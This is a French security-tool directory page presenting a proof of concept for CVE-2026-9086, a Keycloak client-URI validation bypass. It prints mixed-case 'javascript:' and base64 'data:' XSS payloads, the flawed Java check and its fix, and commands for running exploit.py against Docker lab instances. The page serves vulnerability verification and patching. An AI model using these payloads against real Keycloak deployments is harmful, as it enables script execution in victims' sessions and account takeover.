Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-9086-poc — CVE-2026-9086 preuve de concept pour le contournement de la validation d'URI client de Keycloak à l'aide de payloads XSS javascript: et data: en casse mixte, avec vérification via Docker des versions vulnérables et corrigées. | Kitploit
Outils/GitHubGitHub/saku0512/cve-2026-9086-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et ÉducationLabs et Pratique
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

CVE-2026-9086 preuve de concept pour le contournement de la validation d'URI client de Keycloak à l'aide de payloads XSS javascript: et data: en casse mixte, avec vérification via Docker des versions vulnérables et corrigées.

Voir le dépôt
1il y a 10 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-9086 : Preuve de concept XSS par contournement de la validation de schéma d'URI Keycloak

Version anglaise

Résumé

Ce dépôt contient une preuve de concept (PoC) de la vulnérabilité de Cross-Site Scripting (XSS) CVE-2026-9086 dans la validation des URI de client de Keycloak.

Keycloak dans sa version vulnérable validait les schémas javascript: et data: des URI configurées pour les clients en distinguant les majuscules et minuscules. Par conséquent, une notation mixte comme jaVaSCript: ou DaTa: permet de contourner la validation des schémas interdits. Comme les navigateurs interprètent les schémas d'URI sans tenir compte de la casse, le clic d'une victime sur un lien piégé peut entraîner l'exécution de JavaScript dans l'origine de Keycloak.

Ce PoC démarre Keycloak 26.6.3 (version vulnérable) et 26.6.4 (version corrigée) dans Docker, puis enregistre la même URI en notation mixte via l'API REST Admin. Il vérifie que l'enregistrement aboutit sur la version vulnérable et qu'il est rejeté avec une erreur HTTP 400 sur la version corrigée.

Ce PoC n'ouvre pas l'URI enregistrée dans un navigateur et n'exécute aucun JavaScript.


Avertissement

Ce projet est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Ne l'utilisez pas pour tester sans autorisation un environnement Keycloak tiers. L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'actes illégaux.


Détails de la vulnérabilité

  • ID CVE : CVE-2026-9086
  • Produit : Keycloak / Red Hat build of Keycloak
  • Type : Cross-Site Scripting (CWE-79)
  • CVSS v3.1 : 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • Privilège requis : permission manage-client ou accès au point de terminaison d'enregistrement des clients
  • Interaction utilisateur : clic requis sur un lien piégé
  • Version testée par le PoC : Keycloak 26.6.3
  • Version corrigée du PoC : Keycloak 26.6.4
  • Portée (CPE NVD) : Red Hat build of Keycloak 26.4 à 26.4.13 exclu, 26.6 à 26.6.4 exclu

Cause racine

Le DefaultClientValidationProvider avant correction comparait les schémas interdits avec String.equals().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

Comme java.net.URI#getScheme() conserve la casse de l'entrée, les URI suivantes ne correspondent pas à la comparaison et passent la validation.

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

Dans la version corrigée, equalsIgnoreCase() est utilisé.

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

Preuve de concept (utilisation)

1. Démarrage de l'environnement

Démarrez la version vulnérable et la version corrigée avec Docker Compose.

root@kitploit:~
docker compose up -d

Services démarrés :

URLVersionRésultat attendu
http://localhost:8180Keycloak 26.6.3Enregistrement de l'URI réussi (vulnérable)
http://localhost:8181Keycloak 26.6.4HTTP 400 (corrigé)

Le premier démarrage prend un peu de temps. Vous pouvez vérifier l'état avec la commande suivante.

root@kitploit:~
docker compose logs -f

Lorsque Listening on apparaît dans les deux journaux, quittez l'affichage des journaux avec Ctrl+C.

2. Vérification de la version vulnérable

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

Sortie attendue :

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

Le script récupère également le client créé via l'API Admin et vérifie que l'URI piégée a bien été enregistrée.

3. Vérification de la version corrigée

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

Sortie attendue :

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. Vérification du schéma data:

Avec --scheme data, vous pouvez vérifier une URI DaTa: en notation mixte.

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. Nettoyage

root@kitploit:~
docker compose down -v

Fonctionnement du PoC

exploit.py effectue uniquement les opérations suivantes.

  1. Obtenir un jeton d'accès administrateur avec admin-cli
  2. Générer un identifiant de client aléatoire
  3. Définir une URI jaVaSCript: ou DaTa: en notation mixte dans redirectUris
  4. Envoyer la requête de création du client à /admin/realms/master/clients
  5. Sur la version vulnérable, récupérer le client enregistré et vérifier l'URI
  6. Sur la version corrigée, vérifier l'erreur HTTP 400 et l'indication de schéma interdit

Aucun navigateur n'est lancé, aucune navigation vers l'URI enregistrée et aucune exécution de JavaScript n'est effectuée.

Correctif

Mettez à jour Keycloak 26.6 vers 26.6.4 ou version ultérieure et les Red Hat build of Keycloak 26.4 vers 26.4.13 ou version ultérieure.

Auditez également les configurations d'URI des clients existants et supprimez toute valeur utilisant javascript: ou data:, quelle que soit la casse. Limitez également au strict minimum la permission manage-client et l'accès au point de terminaison d'enregistrement des clients.

Références

  • NVD : CVE-2026-9086
  • Red Hat : CVE-2026-9086
  • Keycloak issue #50347
  • Commit de correction Keycloak 32cdceb
Télécharger l’outil